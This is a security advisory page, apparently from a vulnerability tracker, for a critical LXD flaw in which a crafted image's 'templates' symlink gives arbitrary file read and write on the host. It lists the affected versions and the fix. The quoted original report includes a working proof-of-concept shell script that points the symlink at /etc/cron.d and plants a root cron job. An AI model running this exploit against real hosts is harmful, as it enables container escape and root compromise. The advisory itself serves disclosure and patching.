GHSA-jpf8-86f3-wp38: LXD has arbitrary file read+write on host via templates/ symlink in malicious image

What to know

What it is: Reported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479 A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. For container images, internal/server/storage/utils.go calls archive.Unpack(imageFile, destPath,…
Affected: github.com/canonical/lxd (go) < 0.0.0-20260203144152-d1c8ba15d160
Fix: Upgrade github.com/canonical/lxd to 0.0.0-20260203144152-d1c8ba15d160 or later.
Exploitation: No known exploitation

Story map

Story map: the flaws, the fix, how it unfolded and what it connects to. Boxes link to the record or article.

At a glance

github.com/canonical/lxd: Amber, patch this week. Reported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479 A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. For container images, internal/server/storage/utils.go calls archive.Unpack(imageFile, destPath,…

The flaws

GHSA-jpf8-86f3-wp38: LXD has arbitrary file read+write on host via templates/ symlink in malicious image (CVSS 9.9)
GHSA-9j25-mm2h-2f76: LXD has arbitrary file write on host via `exec-output` symlink in crafted image (CVSS 9.9)

The fix

Fix: Upgrade github.com/canonical/lxd to 0.0.0-20260203144152-d1c8ba15d160 or later.

Who is exposed: github.com/canonical/lxd (go) < 0.0.0-20260203144152-d1c8ba15d160

Where it stands

No known exploitation

Connects to

Same weakness: CWE-73 (CWE-73). 87 other warnings in 30 days

Why it is Amber

CVSS 9.9 critical
On your watchlist: Go

Affected packages

Package	Ecosystem	Vulnerable	Fixed in
github.com/canonical/lxd	go	< 0.0.0-20260203144152-d1c8ba15d160	0.0.0-20260203144152-d1c8ba15d160

References

Original description

Reported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479 ### Summary A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. ### Details For container images, `internal/server/storage/utils.go` calls `archive.Unpack(imageFile, destPath, ...)`. The tar extraction path in `shared/archive/archive.go` excludes device nodes, but it does not reject a top-level `templates` symlink. In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it. ### PoC Below, we map the templates directory to `/etc/cron.d` on the host, but it can be mapped anywhere. We then create a cronjob to run `id` as root. ``` #!/bin/sh set -eu tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP mkdir -p "${tmpdir}/img/rootfs" ln -s /etc/cron.d "${tmpdir}/img/templates" cat<<__EOF__>"${tmpdir}/img/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: PoC templates symlink host afrw __EOF__ cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink incus init afrw-image-templates-symlink afrw-image-templates-symlink incus config template ls afrw-image-templates-symlink # read #incus config template show afrw-image-templates-symlink $FILENAME # write printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32 #incus config template edit afrw-image-templates-symlink poc ``` ### Impact Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.